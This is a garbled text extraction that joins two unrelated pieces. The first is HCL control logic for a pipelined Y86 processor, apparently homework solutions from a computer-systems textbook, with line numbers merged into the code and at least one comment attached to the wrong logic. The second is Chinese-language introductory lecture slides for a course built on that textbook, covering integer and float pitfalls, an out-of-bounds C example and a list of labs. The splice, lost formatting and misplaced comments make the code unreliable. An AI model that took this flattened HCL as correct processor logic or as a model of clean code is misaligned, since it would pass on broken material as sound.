ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。
Computer Systems:A Programmer’s Perspective计算机系统详解Lecture 1IntroFebruary 25, 2011Wu junmin (jmwu@)Outline°Course Theme°Five great realities of computer systems °Administrative Matters°Lecture topics and assignments课程出发点° Abstract vs. Reality°抽象是必须的,但也应该考虑问题的实现!°其他计算机课程通常强调抽象的地方:•抽象数据类型•渐进分析法°这些抽象往往是受限的:•特别是当计算机系统中存在一些小的缺陷•有必要去深入了解计算机系统中一些底层的实现°通过了解具体的实现有助于:•成为更有效率的程序员-能够更有效的找出并且消除bug-能够更好的进行程序性能调优•为以后的计算机类“系统”级课程做好准备-编译, 操作系统, 网络, 计算机体系结构, 嵌入式系统等等Great Reality #1°Int ’s 不是整数, Float ’s 不是实数°举例• x 2 ≥ 0?-Float ’s: 是!-Int ’s:– 40000 * 40000 --> 1600000000– 50000 * 50000 --> ??• (x + y) + z = x + (y + z)?-Unsigned & Signed Int ’s: 是!-Float ’s:– (1e20 + -1e20) + 3.14 --> 3.14– 1e20 + (-1e20 + 3.14) --> ??-1794967296Computer Arithmetic°Does not generate random values•Arithmetic operations have important mathematical properties°Cannot assume “usual” properties•Due to finiteness of representations•Integer operations satisfy “ring” properties-Commutativity, associativity, distributivity•Floating point operations satisfy “ordering” properties -Monotonicity, values of signs°Observation•Need to understand which abstractions apply in which contexts •Important issues for compiler writers and serious applicationprogrammers计算机运算规则°不会产生随机值•每种运算操作都有很重要的数学含义和性质°但不能假设具有某些“通常”性质•由于数字表达精度的有限•整数运算操作满足“环”性质-交换性,结合性, 分配性•浮点运算操作满足“有序性”性质-单调性, 正负符号的不变性°可见:•需要结合上下文环境来理解某些“抽象”•对于编译器设计者或者关键应用的程序员,这是都是很重要的问题Great Reality #2°你应该了解一些汇编语言°幸运的是,你永远也不会用汇编语言来写程序•编译器比你做的更好并且也更有耐心°但理解汇编语言是认识机器级执行模型的关键•存在bug时的程序行为-此时高级语言执行模型失效•程序性能调优-找到程序低效的根源•实现系统级软件-编译器以机器码为最终目标代码-操作系统必须管理进程状态汇编代码例子°时间戳计数器(Time Stamp Counter)•intel兼容机器中的特殊64位寄存器•每个时钟周期递增•通过 rdtsc 指令来读取°应用•测量程序的运行时间-以时钟周期为时间单位double t;start_counter();P();t = get_counter();printf("P required %f clock cycles\n", t);测量运行时间°比看上去要更难于处理•存在很多影响因素°例子•从1到n的整数求和n Cycles Cycles/n1009619.611,0008,4078.411,0008,4268.4310,00082,8618.2910,00082,8768.291,000,0008,419,9078.421,000,0008,425,1818.43 1,000,000,0008,371,2305,5918.37Great Reality #3°存储相关随机访问存储器(RAM)是一个非物理的抽象°存储器并非是无限的•必须对它进行分配和管理•许多应用都是存储受限的(memory dominated)°存储器的性能并非是一致的(uniform)•Cache 和虚拟内存的效果会极大的影响程序性能•使程序适应存储系统的结构特性可以极大的提高其性能°访存bug是极其致命的•最终问题出现的时间和位置与对应的访存bug之间可能有很大的距离,导致难以察觉r a t i o n s /t存储系统r a t i o n s /t实际存储器性能From Tom Womack ’smemory latency benchmarkPointer-Chase Results1101001000I t e r a t i o n T i m e [n s ]main (){long int a[2]; double d = 3.14;a[2] = 1073741824; /* Out of bounds reference */ printf("d = %.15g\n", d); exit(0);}main (){ long int a[2]; double d = 3.14; a[2] = 1073741824; /* Out of bounds reference */ printf("d = %.15g\n", d); exit(0);}访存错误°c和c++语言不提供任何访存保护机制•越界数组访问•无效指针•滥用malloc和free°会导致非常讨厌的bug•bug产生何种结果会依赖操作系统和编译器的实现•与访存行为的距离-与刚刚访问的数据对象逻辑上不相关的对象值被修改-bug的恶果要经过很长时间才被发现°如何处理?•用Java,Lisp,ML来编写程序•理解任何可能的导致这种程序行为的原因•利用或者开发能够监测这种错误的工具°除了渐进复杂性外还有其他决定性能的因素°常数因子也同样重要!•代码编写的好坏可导致10倍的性能差异•必须在多个层次上进行性能优化:算法,数据表示, 过程, 以及循环°必须深入理解系统才能更好的优化程序性能•程序是如何编译并执行的•如果测量程序性能并确定性能瓶颈•如何在不破坏程序原有结构和模块化的前提下改进程序性能°计算机要做远比仅仅执行程序多的多的事情°需要处理数据输入输出•I/O 系统对于程序的性能和可靠性至关重要°计算机之间通过网络进行通信•由于网络的出现,许多问题随之产生-独立进程间的并发操作问题-处理来自不可靠信息媒介的数据-跨平台的兼容性-复杂的性能问题硬件组织结构 (示意图)Outline°Course Theme°Five great realities of computer systems °Administrative Matters°Lecture topics and assignments本课程的目的°大多数系统级课程都是面向系统设计与实现的(Builder-Centric)•计算机体系结构-使用 Verilog设计流水线处理器•操作系统-实现操作系统的主体部分•编译-为简单程序设计语言设计编译器•网络-实现并仿真网络协议本课程的目的 (Cont.)°本课程面向程序员(Programmer-Centric)•课程以如何深入了解更多系统底层知识,引导程序员编写更高效的程序为目的-编写性能更高也更可靠的程序-掌握涉及到操作系统的一些技术–例如并发, 信号量处理•并非仅为了潜心钻研的“黑客”而开的课程-我们将唤醒每个人内心深处的“黑客”•包含在其他课程中不会了解到的内容成绩°平时点名3次°课程结束后提交一篇论文,论文可以是学习心得或完成某个实验的实验报告°根据到课率及最终论文评定成绩关于教材°作者:•Randal E. Bryant: CMU, Professor, ACM IEEE Fellow •O’Hallaron: CMU,Professor°内容组织:•介绍•信息表示与处理•C语言程序的机器级表示•处理器结构•程序性能优化•存储器层次结构•链接•异常控制流•测量程序运行时间•虚拟存储器•系统级I/O•网络编程•多线程编程课程结构°课程内容安排:•介绍1节(chap.1,2-25)•信息表示1节 (chap.2,3-4)•机器语言3节 (chap.3,3-11,3-18)•代码优化2节 (chap.5,3-25,4-1)•存储器层次结构2节 (chap.6,4-8,4-15)•链接2节 (chap.7,4-22,4-29)•异常处理2节(chap.8,5-6,5-13)•性能检测1节(chap.9,5-20)•虚拟存储器 2节(Chap.10,5-27,6-3)• I/O系统1 节(Chap.11,6-10)Outline°Course Theme°Five great realities of computer systems °Administrative Matters°Lecture topics and assignments程序与数据°主要知识点•位操作, 计算机运算, 汇编程序, C语言控制与数据结构的机器表示•包括体系结构及编译方面的一些知识•学习使用某些工具°任务•L1: 位操作•L2: 排除二进制炸弹•L3: 缓冲区溢出实验性能°主要知识点•高级处理器模型,代码优化 (控制与数据), 计算机时间测量•涉及体系结构、编译、操作系统°任务•L4: 代码性能优化存储器层次结构°主要知识点•存储器技术,存储器层次结构, 高速缓存, 磁盘, 局部性•涉及体系结构、操作系统°任务•L4: 代码性能优化链接与异常控制°主要知识点•目标文件, 静态与动态链接, 库, 加载•硬件异常, 进程, 进程控制, Unix 信号量, 非局部跳转•涉及编译,操作系统,体系结构°任务•L5: 自己编写能满足作业控制的shell°虚拟存储器°主要知识点•虚拟存储器, 地址转换, 动态内存分配•涉及体系结构、操作系统°任务•L6: 自己实现molloc函数I/O, 网络, 和并行处理°主题•高级与低级I/O, 网络编程, Internet服务, Web 服务•并发,并发服务设计, 线程, 基于select的I/O多路复用技术 .•涉及操作系统,网络,体系结构.°任务•L7: 自己编写web代理程序实验指导°每一次实验有明确的目标:或者解决某个问题,或者为了在竞赛中取胜.•排除二进制炸弹.•在性能调优比赛中取胜.°通过实验应该掌握相关方面的技能和知识•Data Lab: 计算机运算, 数字逻辑•Bomb Labs:汇编语言, 使用调试器, 理解栈•Perf Lab: 程序剖析, 性能测试,性能调优.•Shell Lab: 理解Unix中的进程与进程控制•Malloc Lab: 理解指针与相关的访存bug.•Proxy Lab: 网络编程,服务端程序设计L1:数据实验°学生须实现简单的逻辑与算术函数,但只能使用高度受限的C语言子集.°例如, 只能通过位级的运算来求某个数据的绝对值.°这一实验有助于学生理解C语言中数据类型的位级表示以及在这些数据类型上操作的位级行为。